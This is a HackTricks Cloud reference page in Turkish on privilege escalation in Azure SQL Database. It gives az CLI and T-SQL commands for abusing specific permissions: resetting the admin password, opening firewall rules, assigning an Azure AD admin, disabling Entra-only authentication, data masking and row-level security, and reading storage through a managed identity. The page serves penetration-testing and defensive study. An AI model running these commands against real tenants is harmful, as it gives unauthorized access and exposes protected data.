Az - SQL Database Privesc
Tip
AWS Hacking’i öğrenin ve pratik yapın:
HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın:HackTricks Training GCP Red Team Expert (GRTE)
Az Hacking’i öğrenin ve pratik yapın:HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks'i Destekleyin
- Abonelik planlarını kontrol edin!
- Katılın 💬 Discord group veya telegram group veya Twitter’da bizi takip edin 🐦 @hacktricks_live.
- PR göndererek hacking tricks paylaşın: HackTricks ve HackTricks Cloud github repos.
SQL Database Privesc
SQL Database hakkında daha fazla bilgi için kontrol edin:
Microsoft.Sql/servers/read && Microsoft.Sql/servers/write
Bu izinlerle, bir kullanıcı Azure SQL sunucularını güncelleyerek veya oluşturarak ayrıcalık yükseltmesi yapabilir ve kritik yapılandırmaları, yönetici kimlik bilgileri de dahil olmak üzere, değiştirebilir. Bu izin, kullanıcının sunucu özelliklerini güncellemesine, SQL sunucu yönetici şifresini de içerecek şekilde, yetkisiz erişim veya sunucu üzerinde kontrol sağlamasına olanak tanır. Ayrıca yeni sunucular oluşturabilirler, bu da kötü niyetli amaçlar için gölge altyapı oluşturma potansiyeli taşır. Bu, “Microsoft Entra Authentication Only” devre dışı bırakıldığında özellikle kritik hale gelir, çünkü SQL tabanlı kimlik doğrulamasını kullanarak sınırsız erişim elde edebilirler.
# Change the server password
az sql server update \
--name <server_name> \
--resource-group <resource_group_name> \
--admin-password <new_password>
# Create a new server
az sql server create \
--name <new_server_name> \
--resource-group <resource_group_name> \
--location <location> \
--admin-user <admin_username> \
--admin-password <admin_passwor d>
Ayrıca, özel bir uç noktadan erişmek istemiyorsanız, genel erişimin etkinleştirilmesi gereklidir, bunu etkinleştirmek için:
az sql server update \
--name <server-name> \
--resource-group <resource-group> \
--enable-public-network true
Ayrıca, izinlerle atanan kimliği etkinleştirebilir ve sunucuya bağlı yönetilen kimlikle işlem yapabilirsiniz. Örneğin, burada Azure Storage’a erişebilen bir yönetilen kimlikle:
az sql server update \
--name <server-name> \
--resource-group <resource-group> \
--assign_identity
CREATE DATABASE SCOPED CREDENTIAL [ManagedIdentityCredential]
WITH IDENTITY = 'Managed Identity';
GO
CREATE EXTERNAL DATA SOURCE ManagedIdentity
WITH (
TYPE = BLOB_STORAGE,
LOCATION = 'https://<storage-account>.blob.core.windows.net/<container>',
CREDENTIAL = ManagedIdentityCredential
);
GO
SELECT *
FROM OPENROWSET(
BULK 'message.txt',
DATA_SOURCE = 'ManagedIdentity',
SINGLE_CLOB
) AS DataFile;
GO
Microsoft.Sql/servers/firewallRules/write
Bir saldırgan, Azure SQL sunucularındaki güvenlik duvarı kurallarını manipüle ederek yetkisiz erişime izin verebilir. Bu, sunucuyu belirli IP adreslerine veya tüm IP aralıklarına, kamu IP’leri de dahil olmak üzere, açmak için istismar edilebilir ve kötü niyetli aktörler için erişim sağlanabilir. Bu post-exploitation aktivitesi, mevcut ağ güvenlik kontrollerini aşmak, kalıcılık sağlamak veya hassas kaynakları açığa çıkararak ortam içinde yan hareketi kolaylaştırmak için kullanılabilir.
# Create Firewall Rule
az sql server firewall-rule create \
--name <new-firewall-rule-name> \
--server <server-name> \
--resource-group <resource-group> \
--start-ip-address <start-ip-address> \
--end-ip-address <end-ip-address>
# Update Firewall Rule
az sql server firewall-rule update \
--name <firewall-rule-name> \
--server <server-name> \
--resource-group <resource-group> \
--start-ip-address <new-start-ip-address> \
--end-ip-address <new-end-ip-address>
Ayrıca, Microsoft.Sql/servers/outboundFirewallRules/delete izni, bir Güvenlik Duvarı Kuralını silmenizi sağlar.
NOT: Kamu erişiminin etkin olması gerekmektedir.
Microsoft.Sql/servers/ipv6FirewallRules/write
Bu izinle, bir Azure SQL Sunucusunda IPv6 güvenlik duvarı kuralları oluşturabilir, değiştirebilir veya silebilirsiniz. Bu, bir saldırganın veya yetkili bir kullanıcının mevcut ağ güvenlik yapılandırmalarını atlamasına ve sunucuya yetkisiz erişim sağlamasına olanak tanıyabilir. Herhangi bir IPv6 adresinden gelen trafiğe izin veren bir kural ekleyerek, saldırgan sunucuyu dış erişime açabilir.
az sql server firewall-rule create \
--server <server_name> \
--resource-group <resource_group_name> \
--name <rule_name> \
--start-ip-address <start_ipv6_address> \
--end-ip-address <end_ipv6_address>
Ayrıca, Microsoft.Sql/servers/ipv6FirewallRules/delete izni, bir Güvenlik Duvarı Kuralını silmenizi sağlar.
NOT: Kamu erişiminin etkin olması gerekmektedir.
Microsoft.Sql/servers/administrators/write && Microsoft.Sql/servers/administrators/read
Bu izinlerle, Azure SQL Server ortamında SQL veritabanlarına erişerek kritik bilgilere ulaşabilirsiniz. Aşağıdaki komutu kullanarak, bir saldırgan veya yetkili kullanıcı kendisini veya başka bir hesabı Azure AD yöneticisi olarak ayarlayabilir. “Microsoft Entra Authentication Only” etkinse, sunucuya ve örneklerine erişebilirsiniz. İşte bir SQL sunucusu için Azure AD yöneticisini ayarlamak için komut:
az sql server ad-admin create \
--server <server_name> \
--resource-group <resource_group_name> \
--display-name <admin_display_name> \
--object-id <azure_subscribtion_id>
Microsoft.Sql/servers/azureADOnlyAuthentications/write && Microsoft.Sql/servers/azureADOnlyAuthentications/read
Bu izinlerle, bir Azure SQL Sunucusunda “Microsoft Entra Authentication Only” yapılandırabilir ve uygulayabilirsiniz, bu da belirli senaryolarda ayrıcalık yükseltmesini kolaylaştırabilir. Bu izinlere sahip bir saldırgan veya yetkili bir kullanıcı, yalnızca Azure AD kimlik doğrulamasını etkinleştirebilir veya devre dışı bırakabilir.
#Enable
az sql server azure-ad-only-auth enable \
--server <server_name> \
--resource-group <resource_group_name>
#Disable
az sql server azure-ad-only-auth disable \
--server <server_name> \
--resource-group <resource_group_name>
Microsoft.Sql/servers/databases/dataMaskingPolicies/write
SQL veritabanlarınızdaki veri maskeleme politikalarını değiştirin (veya devre dışı bırakın).
az rest --method put \
--uri "https://management.azure.com/subscriptions/<your-subscription-id>/resourceGroups/<your-resource-group>/providers/Microsoft.Sql/servers/<your-server>/databases/<your-database>/dataMaskingPolicies/Default?api-version=2021-11-01" \
--body '{
"properties": {
"dataMaskingState": "Disable"
}
}'
Row Level Security’yi Kaldır
Eğer admin olarak giriş yapıyorsanız, adminin ve diğer kullanıcıların politikalarını kaldırabilirsiniz.
DROP SECURITY POLICY [Name_of_policy];
Tip
AWS Hacking’i öğrenin ve pratik yapın:
HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın:HackTricks Training GCP Red Team Expert (GRTE)
Az Hacking’i öğrenin ve pratik yapın:HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks'i Destekleyin
- Abonelik planlarını kontrol edin!
- Katılın 💬 Discord group veya telegram group veya Twitter’da bizi takip edin 🐦 @hacktricks_live.
- PR göndererek hacking tricks paylaşın: HackTricks ve HackTricks Cloud github repos.
HackTricks Cloud

